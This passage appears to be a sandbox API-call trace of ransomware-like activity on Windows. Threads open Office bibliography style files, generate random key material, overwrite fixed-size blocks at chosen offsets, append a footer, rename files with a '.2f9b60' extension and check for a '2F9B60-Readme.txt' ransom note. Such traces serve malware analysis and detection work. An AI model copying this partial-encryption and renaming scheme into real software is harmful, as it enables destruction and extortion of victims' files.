_Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" [0240.401] wcscat (in: _Dest=0x431464b0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt" [0240.401] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\2f9b60-readme.txt")) returned 0x20 [0240.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431464b0) returned 1 [0240.402] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ac160) returned 1 Thread: id = 1533 os_tid = 0x1a48 [0121.011] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\MLA.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\mla.xsl")) returned 0x20 [0121.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\MLA.XSL", dwFileAttributes=0x20) returned 1 [0121.535] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\MLA.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\mla.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xff8 [0121.547] GetFileSizeEx (in: hFile=0xff8, lpFileSize=0x20d2f9c0 | out: lpFileSize=0x20d2f9c0*=299089) returned 1 [0121.547] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x4904d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.547] ReadFile (in: hFile=0xff8, lpBuffer=0x20d2f940, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x20d2f988, lpOverlapped=0x0 | out: lpBuffer=0x20d2f940*, lpNumberOfBytesRead=0x20d2f988*=0x4, lpOverlapped=0x0) returned 1 [0122.280] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263980 [0122.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa000 [0122.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9c10 [0122.280] NtQuerySystemTime (in: CurrentTime=0x20d2f880 | out: CurrentTime=0x20d2f880*=132462177276622000) returned 0x0 [0122.280] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x3c9f9435 [0122.280] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x7683b1e5 [0122.280] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x64188a46 [0122.280] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x2af29766 [0122.280] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x29efd42c [0122.280] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x5d5bf672 [0122.280] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x41af526e [0122.280] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x35b0ca16 [0122.280] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x68e94adf [0122.281] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x29143a36 [0122.281] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0xf030ff7 [0122.281] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x7a2a6328 [0122.281] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x2a21f38a [0122.281] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x63b3b6cc [0122.281] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x4d4a3780 [0122.281] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x11ffa610 [0122.281] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x197a357f [0122.281] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x29efd42c [0122.281] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x20c44e03 [0122.281] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x7ba2e56d [0122.281] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x5ae68d79 [0122.281] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x308432f4 [0122.281] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x6c81ab85 [0122.281] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x7ba2e56d [0122.281] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x39f797a9 [0122.281] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x1da583d1 [0122.281] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x5d85440f [0122.281] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x2f735f28 [0122.281] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0xff54995 [0122.281] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x4b22efb6 [0122.281] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x3cc79401 [0122.281] RtlRandomEx (in: Seed=0x20d2f870 | out: Seed=0x20d2f870) returned 0x10234351 [0124.484] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.484] ReadFile (in: hFile=0xff8, lpBuffer=0x41ff5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20d2f8e0, lpOverlapped=0x0 | out: lpBuffer=0x41ff5950*, lpNumberOfBytesRead=0x20d2f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0124.863] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0124.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504890 [0124.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a630 [0124.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a630) returned 1 [0124.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b80d80 [0124.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a630 [0124.864] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b500 [0124.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b500) returned 1 [0124.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504890) returned 1 [0124.864] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0124.864] WriteFile (hFile=0xff8, lpBuffer=0x41b80d80, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20d2f8e0, lpOverlapped=0x0) [0176.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b80d80) returned 1 [0176.616] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.616] ReadFile (in: hFile=0xff8, lpBuffer=0x41ff5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20d2f8e0, lpOverlapped=0x0 | out: lpBuffer=0x41ff5950*, lpNumberOfBytesRead=0x20d2f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0176.637] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0176.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0176.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060930 [0176.637] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7af0 [0176.638] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7af0) returned 1 [0176.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x201cc1b0 [0176.638] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7af0 [0176.639] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a7b20 [0176.639] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a7b20) returned 1 [0176.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060930) returned 1 [0176.640] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0176.640] WriteFile (in: hFile=0xff8, lpBuffer=0x201cc1b0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20d2f8e0, lpOverlapped=0x0 | out: lpBuffer=0x201cc1b0*, lpNumberOfBytesWritten=0x20d2f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.217] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201cc1b0) returned 1 [0194.217] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x45451, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.217] ReadFile (in: hFile=0xff8, lpBuffer=0x41ff5950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x20d2f8e0, lpOverlapped=0x0 | out: lpBuffer=0x41ff5950*, lpNumberOfBytesRead=0x20d2f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0194.257] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x45451, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0194.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebe880 [0194.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a210 [0194.258] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a210) returned 1 [0194.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x423c1150 [0194.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a210 [0194.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4313a240 [0194.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4313a240) returned 1 [0194.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebe880) returned 1 [0194.261] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0194.261] WriteFile (in: hFile=0xff8, lpBuffer=0x423c1150*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x20d2f8e0, lpOverlapped=0x0 | out: lpBuffer=0x423c1150*, lpNumberOfBytesWritten=0x20d2f8e0*=0x3c00, lpOverlapped=0x0) returned 1 [0204.730] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423c1150) returned 1 [0204.730] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ce14d50 [0204.731] SetFilePointerEx (in: hFile=0xff8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0204.731] WriteFile (in: hFile=0xff8, lpBuffer=0x1cebdbd0*, nNumberOfBytesToWrite=0x140, lpNumberOfBytesWritten=0x20d2f990, lpOverlapped=0x0 | out: lpBuffer=0x1cebdbd0*, lpNumberOfBytesWritten=0x20d2f990*=0x140, lpOverlapped=0x0) returned 1 [0215.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058e70 [0215.774] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebbb60 [0215.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202643e0 [0215.775] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202643e0) returned 1 [0215.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe) returned 0x1b82cfe0 [0215.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202643e0 [0215.776] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20264230 [0215.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20264230) returned 1 [0215.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebbb60) returned 1 [0215.777] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058e70) returned 1 [0215.777] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1d) returned 0x20264230 [0215.778] sprintf (in: _Dest=0x20264230, _Format="%c%c" | out: _Dest="69") returned 2 [0215.778] sprintf (in: _Dest=0x20264232, _Format="%c%c" | out: _Dest="cc") returned 2 [0215.778] sprintf (in: _Dest=0x20264234, _Format="%c%c" | out: _Dest="8b") returned 2 [0215.778] sprintf (in: _Dest=0x20264236, _Format="%c%c" | out: _Dest="ff") returned 2 [0215.778] sprintf (in: _Dest=0x20264238, _Format="%c%c" | out: _Dest="5a") returned 2 [0215.778] sprintf (in: _Dest=0x2026423a, _Format="%c%c" | out: _Dest="27") returned 2 [0215.778] sprintf (in: _Dest=0x2026423c, _Format="%c%c" | out: _Dest="50") returned 2 [0215.778] sprintf (in: _Dest=0x2026423e, _Format="%c%c" | out: _Dest="e7") returned 2 [0215.778] sprintf (in: _Dest=0x20264240, _Format="%c%c" | out: _Dest="b4") returned 2 [0215.778] sprintf (in: _Dest=0x20264242, _Format="%c%c" | out: _Dest="6b") returned 2 [0215.778] sprintf (in: _Dest=0x20264244, _Format="%c%c" | out: _Dest="ff") returned 2 [0215.778] sprintf (in: _Dest=0x20264246, _Format="%c%c" | out: _Dest="87") returned 2 [0215.778] sprintf (in: _Dest=0x20264248, _Format="%c%c" | out: _Dest="0d") returned 2 [0215.778] sprintf (in: _Dest=0x2026424a, _Format="%c%c" | out: _Dest="00") returned 2 [0215.778] RtlInitAnsiString (in: DestinationString=0x20d2fa08, SourceString="69cc8bff5a2750e7b46bff870d00" | out: DestinationString="69cc8bff5a2750e7b46bff870d00") [0215.778] RtlAnsiStringToUnicodeString (in: DestinationString=0x20d2f9d8, SourceString="69cc8bff5a2750e7b46bff870d00", AllocateDestinationString=1 | out: DestinationString="69cc8bff5a2750e7b46bff870d00") returned 0x0 [0215.778] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x42058420 [0215.779] wcscat (in: _Dest=0x1ce17000, _Source="69cc8bf" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\69cc8bf") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\69cc8bf" [0215.779] wcscat (in: _Dest=0x1ce17000, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\69cc8bf.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\69cc8bf.2f9b60" [0215.779] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\69cc8bf.2f9b60", NtPathName=0x20d2f9b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\69cc8bf.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0215.779] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x4312a720 [0227.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4312a720) returned 1 [0227.035] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b6600) returned 1 [0227.035] NtQueryInformationFile (in: FileHandle=0xff8, IoStatusBlock=0x20d2fa18, FileInformation=0x20d2fa28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x20d2fa18, FileInformation=0x20d2fa28) returned 0x0 [0227.035] NtSetInformationFile (FileHandle=0xff8, IoStatusBlock=0x20d2fa18, FileInformation=0x20d2fa28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0235.094] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce17000) returned 1 [0235.095] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058420) returned 1 [0235.095] FlushFileBuffers (hFile=0xff8) returned 1 [0238.219] CloseHandle (hObject=0xff8) returned 1 [0241.555] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x202add90 [0241.555] wcscpy (in: _Dest=0x202add90, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\" [0241.555] wcscat (in: _Dest=0x202add90, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt" [0241.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\2f9b60-readme.txt")) returned 0x20 [0241.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202add90) returned 1 [0241.556] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c1f0) returned 1 Thread: id = 1534 os_tid = 0x1a4c [0121.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\SIST02.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\sist02.xsl")) returned 0x20 [0121.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\SIST02.XSL", dwFileAttributes=0x20) returned 1 [0121.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\SIST02.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\sist02.xsl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdb0 [0121.540] GetFileSizeEx (in: hFile=0xdb0, lpFileSize=0x1ffcfbc0 | out: lpFileSize=0x1ffcfbc0*=245061) returned 1 [0121.540] SetFilePointerEx (in: hFile=0xdb0, liDistanceToMove=0x3bd41, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0121.540] ReadFile (in: hFile=0xdb0, lpBuffer=0x1ffcfb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1ffcfb88, lpOverlapped=0x0 | out: lpBuffer=0x1ffcfb40*, lpNumberOfBytesRead=0x1ffcfb88*=0x4, lpOverlapped=0x0) returned 1 [0122.316] SetFilePointerEx (in: hFile=0xdb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263980 [0122.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9760 [0122.316] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a97c0 [0122.316] NtQuerySystemTime (in: CurrentTime=0x1ffcfa80 | out: CurrentTime=0x1ffcfa80*=132462177276934000) returned 0x0 [0122.316] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x1689cb40 [0122.316] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x3a1faab0 [0122.316] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x6a559ad5 [0122.316] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x37b12b34 [0122.316] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0xaf3aeaf [0122.316] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x7d4dfd27 [0122.317] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x44f6f002 [0122.317] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x20662635 [0122.317] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x16b46a95 [0122.317] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x7fe038bd [0122.317] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x2447adbc [0122.317] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x595e5420 [0122.317] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x502aee34 [0122.317] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x3d3f4e4a [0122.317] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x32527f3e [0122.317] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x19f09b34 [0122.317] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x6c9755d9 [0122.317] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x41f1a3f [0122.317] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x4857e68c [0122.317] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x5cfb4010 [0122.317] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x4f6ce478 [0122.317] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x7f11ceb6 [0122.317] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x66f6107e [0122.317] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x7d5d255d [0122.317] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x2447adbc [0122.317] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x327124b8 [0122.317] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x10bf76e6 [0122.317] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x72f5c886 [0122.317] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x23c0268 [0122.317] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x5b8c435b [0122.317] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x46a017d9 [0122.317] RtlRandomEx (in: Seed=0x1ffcfa70 | out: Seed=0x1ffcfa70) returned 0x1ebd4800 [0124.487] SetFilePointerEx (in: hFile=0xdb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.487] ReadFile (in: hFile=0xdb0, lpBuffer=0x42000d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1ffcfae0, lpOverlapped=0x0 | out: lpBuffer=0x42000d80*, lpNumberOfBytesRead=0x1ffcfae0*=0x3c00, lpOverlapped=0x0) returned 1 [0124.869] SetFilePointerEx (in: hFile=0xdb0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0124.869] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97170 [0124.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504890 [0124.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b230 [0124.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b230) returned 1 [0124.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41b6e130 [0124.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b230 [0124.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ae70 [0124.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ae70) returned 1 [0124.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504890) returned 1 [0124.870] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97170) returned 1 [0124.870] WriteFile (hFile=0xdb0, lpBuffer=0x41b6e130, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1ffcfae0, lpOverlapped=0x0) [0178.618] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b6e130) returned 1 [0178.618] SetFilePointerEx (in: hFile=0xdb0, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.618] ReadFile (in: hFile=0xdb0, lpBuffer=0x42000d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1ffcfae0, lpOverlapped=0x0 | out: lpBuffer=0x42000d80*, lpNumberOfBytesRead=0x1ffcfae0*=0x3c00, lpOverlapped=0x0) returned 1 [0180.519] SetFilePointerEx (in: hFile=0xdb0, liDistanceToMove=0x1e000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0180.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5c290 [0180.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85f310 [0180.519] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9440 [0180.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9440) returned 1 [0180.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42912670 [0180.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9440 [0180.520] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9380 [0180.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9380) returned 1 [0180.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f310) returned 1 [0180.522] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c290) returned 1 [0180.522] WriteFile (in: 